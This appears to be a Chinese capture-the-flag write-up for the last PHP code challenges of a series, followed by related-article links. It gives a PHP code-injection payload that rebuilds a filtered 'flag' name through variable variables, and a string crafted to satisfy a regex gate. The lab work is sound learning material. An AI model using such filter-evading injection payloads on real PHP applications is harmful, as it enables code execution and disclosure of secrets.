8b5202991bcba3ff13dd2c1f5a37d49e00e4bc48
增加条件:
<?php
$s=sha1(time());
echo $s;
$c=strlen($s);
echo '
';
echo $c;
?>
输出

09d3c5189576f97f22d5bf4a31074bec4db71289

40
长度为40.

加上php判断条件后长度为49。尝试输入49个0成功。

此时关注到最后一个判断条件:
此处我们可以自己造一个韩束出来来显示flag这个变量,但由于flag被过滤,我没让你需要用拼接的方式来让它显现出来
$a='alag';
$a{0}='f';
在php中 <?php echo $a?>和<?=$a?>是一样的
payload:?flag=$a='alag';$a{0}='f';1111111111111111;?><?=${$a}?>
此时就是echo $flag

30.

<?php
require __DIR__.'/flag.php';
$IsMatch= preg_match("/hongya.*ho.*ngya.{4}hongya{3}:\/.\/(.*hongya)/i", trim($_POST["id"]), $match);
if( $IsMatch ){
die('Flag: '.$flag);
} highlight_file(__FILE__);
?>

满足正则表达式匹配即可,hongya..ho..ngya....hongyaaa:/./..hongya

PHP_Code_Challenge 1~30的更多相关文章

  1. 总结30个CSS3选择器

    或许大家平时总是在用的选择器都是:#id  .class  以及标签选择器.可是这些还远远不够,为了在开发中更加得心应手,本文总结了30个CSS3选择器,希望对大家有所帮助. 1 *:通用选择器 ;; ...

  2. 值得收藏!国外最佳互联网安全博客TOP 30

    如果你是网络安全从业人员,其中重要的工作便是了解安全行业的最新资讯以及技术趋势,那么浏览各大安全博客网站或许是信息来源最好的方法之一.最近有国外网站对50多个互联网安全博客做了相关排名,小编整理其中排 ...

  3. CSharpGL(30)用条件渲染(Conditional Rendering)来提升OpenGL的渲染效率

    CSharpGL(30)用条件渲染(Conditional Rendering)来提升OpenGL的渲染效率 当场景中有比较复杂的模型时,条件渲染能够加速对复杂模型的渲染. 条件渲染(Conditio ...

  4. 30分钟学会XAML

    1.狂妄的WPF 相对传统的Windows图形编程,需要做很多复杂的工作,引用许多不同的API.例如:WinForm(带控件表单).GDI+(2D图形).DirectX API(3D图形)以及流媒体和 ...

  5. Shell脚本编程30分钟入门

    Shell脚本编程30分钟入门 转载地址: Shell脚本编程30分钟入门 什么是Shell脚本 示例 看个例子吧: #!/bin/sh cd ~ mkdir shell_tut cd shell_t ...

  6. ViEmu 3.6.0 过期 解除30天限制的方法

    下载:链接: http://pan.baidu.com/s/1c2HUuWw 密码: sak8 删除下面2个地方 HKEY_CLASSES_ROOT\Wow6432Node\CLSID\{B9CDA4 ...

  7. AlloyTouch全屏滚动插件发布--30秒搞定顺滑H5页

    原文链接:https://github.com/AlloyTeam/AlloyTouch/wiki/AlloyTouch-FullPage-Plugin 先验货 插件代码可以在这里找到. 注意,虽然是 ...

  8. C#求斐波那契数列第30项的值(递归和非递归)

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...

  9. JS组件系列——又一款MVVM组件:Vue(一:30分钟搞定前端增删改查)

    前言:关于Vue框架,好几个月之前就听说过,了解一项新技术之后,总是处于观望状态,一直在犹豫要不要系统学习下.正好最近有点空,就去官网了解了下,看上去还不错的一个组件,就抽空研究了下.最近园子里vue ...

随机推荐

  1. 自动化项目Jenkins持续集成

    一.Jenkins的优点 1.传统网站部署流程   一般网站部署的流程 这边是完整流程而不是简化的流程 需求分析—原型设计—开发代码—内网部署-提交测试—确认上线—备份数据—外网更新-最终测试 ,如果 ...

  2. Docker系列——Docker安装&基础命令

    Docker 概述 Docker 是一个开源的应用容器引擎,Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级.可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化. ...

  3. 第四篇 Scrum冲刺博客

    一.会议图片 二.项目进展 成员 完成情况 今日任务 冯荣新 商品底部工具栏 购物车列表 陈泽佳 渲染搜索结果,防抖的实现 静态结构 徐伟浩 未完成 商品信息录入 谢佳余 未完成 搜索算法设计 邓帆涛 ...

  4. Ubuntu18.04 解决umount: /mnt: device is busy

    通过该命令查看那个进程占用该device fuser -m /mnt 然后 kill -9 PID 最后就可以umount /mnt 了

  5. java面试题0001-区分类中重载方法的依据是什么?

    到底是根据什么来区分类中重载的方法? A:不同的返回值类型. B:不同的参数类型. C:不同的访问权限. D:不同的参数名称. 解析: Step1.我们先在DifferentiateReload类中创 ...

  6. Labview学习之路(八)如何让控件显示在修饰符的前面

    在Labview2017版本中,前面板选择修饰控件,会出现部分修饰控件会掩盖其他控件,情况如下: 我们右键点击和属性中都没有相关属性的改变,为什么是这样我也不清除: 上网查了一下,看到其他版本会有显示 ...

  7. JAVA集合类简要笔记 - 内部类 包装类 Object类 String类 BigDecimal类 system类

    常用类 内部类 成员内部类.静态内部类.局部内部类.匿名内部类 概念:在一个类的内部再定义一个完整的类 特点: 编译之后可生成独立的字节码文件 内部类可直接访问外部类私有成员,而不破坏封装 可为外部类 ...

  8. android MVVM(1)用LiveData关联VM 与 V

    1.官方文档 MVVM 官方文档: https://developer.android.com/jetpack/docs/guide ViewModel 文档: https://developer.a ...

  9. Spine学习八 - 幻影特效

    Spine支持一些自带的特效,这些特效,不需要在spine中制作,而只是通过在unity中添加一些脚本便可实现. 这里先讲解一个比较使用又酷炫的效果,幻影特效: 1. 首先,在SkeletonAnim ...

  10. ASP调用WEBSERVICE并对返回结果进行解析时遇到的问题

    项目上用动易平台做新闻发布网站,动易平台是用ASP做的,期间需要根据当前登录的用户,取其他系统比如OA的待办事项进行列表展示,OA组的同事给了我一个WSDL接口,百度了很多ASP调用webservic ...